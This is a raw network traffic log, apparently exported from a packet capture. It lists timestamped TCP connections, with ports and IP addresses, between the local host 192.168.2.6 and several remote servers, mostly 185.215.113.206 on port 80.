Nov 23, 2024 05:02:48.133070946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.134536982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.134608984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.134635925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.134934902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.135936022 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.135958910 CET	443	49852	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.135967016 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.135974884 CET	443	49854	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.136002064 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.136013985 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:48.136332035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.136389017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.136424065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.136537075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.138093948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.138168097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.138195038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.138292074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.139861107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.139931917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.140008926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.141596079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.141674042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.141706944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.141952991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.143352985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.143418074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.143450975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.144155025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.145107985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.145178080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.145215034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.145378113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.146883011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.146961927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.147037029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.147630930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.148648024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.148714066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.148734093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.148775101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.150490999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.150615931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.150700092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.150953054 CET	49853	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.150969982 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.152163029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.152267933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.152318954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.153903961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.153984070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.154016018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.154272079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.155670881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.155745029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.155776024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.156733990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.157442093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.157550097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.157608032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.159224987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.159327030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.159390926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.161236048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.161247969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.161293983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.163083076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.163094044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.163151979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.164493084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.164602995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.164649010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.166277885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.166290045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.166347027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.168024063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.168091059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.168123007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.168375969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.169774055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.169836998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.169866085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.170012951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.171576977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.171588898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.171643972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.173300982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.173350096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.173418999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.173669100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.175014019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.175160885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.200107098 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:48.200148106 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:48.200201988 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:48.200637102 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:48.200654030 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:48.205280066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.205347061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.205378056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.205595016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.206166029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.206228971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.206407070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.207947016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.207998991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.208035946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.208080053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.209706068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.209825039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.209891081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.211420059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.211936951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.281714916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.281824112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.281889915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.282344103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.282485008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.282536983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.283678055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.283751011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.283941031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.283984900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.285002947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.285068989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.285614014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.285660028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.286351919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.286412954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.286623001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.286838055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.287714958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.287758112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.289011955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.289024115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.289035082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.289069891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.289112091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.290276051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.290287018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.290328026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.290343046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.291536093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.291925907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.292855024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.292866945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.292871952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.292973995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.294056892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.294133902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.294926882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.294991016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.295289993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.295541048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.295598030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.296514988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.296577930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.297795057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.297806025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.297817945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.297871113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.297916889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.298999071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.299069881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.300225019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.300235033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.300245047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.300277948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.300313950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.301446915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.301636934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.301646948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.301738977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.302659035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.302952051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.303930044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.303941965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.303952932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.303978920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.304008961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.305094004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.305104971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.305164099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.306337118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.306397915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.306602001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.306785107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.307594061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.307604074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.307656050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.308810949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.308877945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.309890985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.309952021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.310022116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.310033083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.310065985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.311969042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.311980963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.312031984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.312613964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.312679052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.313522100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.313566923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.313684940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.313695908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.313724995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.315361023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.315433979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.315675020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.316035986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.316102982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.316190004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.316361904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.316592932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.317351103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.317414045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.317984104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.318032980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.318568945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.318715096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.318763018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.319812059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.319957018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.320014954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.321048021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.321058989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.321094036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.322288990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.322345972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.322664022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.322706938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.323460102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.323514938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.324229956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.324273109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.324435949 CET	49852	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.324435949 CET	49854	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.324481964 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:48.324691057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.324765921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.325045109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.325910091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.326015949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.326303959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.326356888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.327172995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.327214956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.327364922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.327739954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.328386068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.328495979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.329149008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.329623938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.329683065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.330205917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.330255032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.330830097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.330879927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.331079006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.331525087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.332034111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.332076073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.332079887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.332182884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.333292007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.333467960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.333508015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.334518909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.334743977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.334813118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.334871054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.335750103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.335762024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.335891008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.336952925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.337112904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.337790012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.337896109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.338313103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.338429928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.439234972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.439291954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.439327955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.439368010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.439841986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.439893007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.440248013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.440346956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.441061974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.441098928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.441757917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.441798925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.442272902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.442316055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.442920923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.443387032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.443536043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.443548918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.443591118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.444735050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.444816113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.445419073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.445497990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.445952892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.446012974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.446178913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.446218014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.483047962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.483191967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.483227015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.483242989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.483436108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.483578920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.483635902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.484137058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.484275103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.484302044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.484458923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.485165119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.485209942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.485372066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.485440969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.486098051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.486222982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.486252069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.486301899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.486980915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.487133980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.487140894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.487174034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.488003016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.488157034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.488178015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.488192081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.488877058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.488929033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.489088058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.489155054 CET	49819	80	192.168.2.6	185.215.113.206
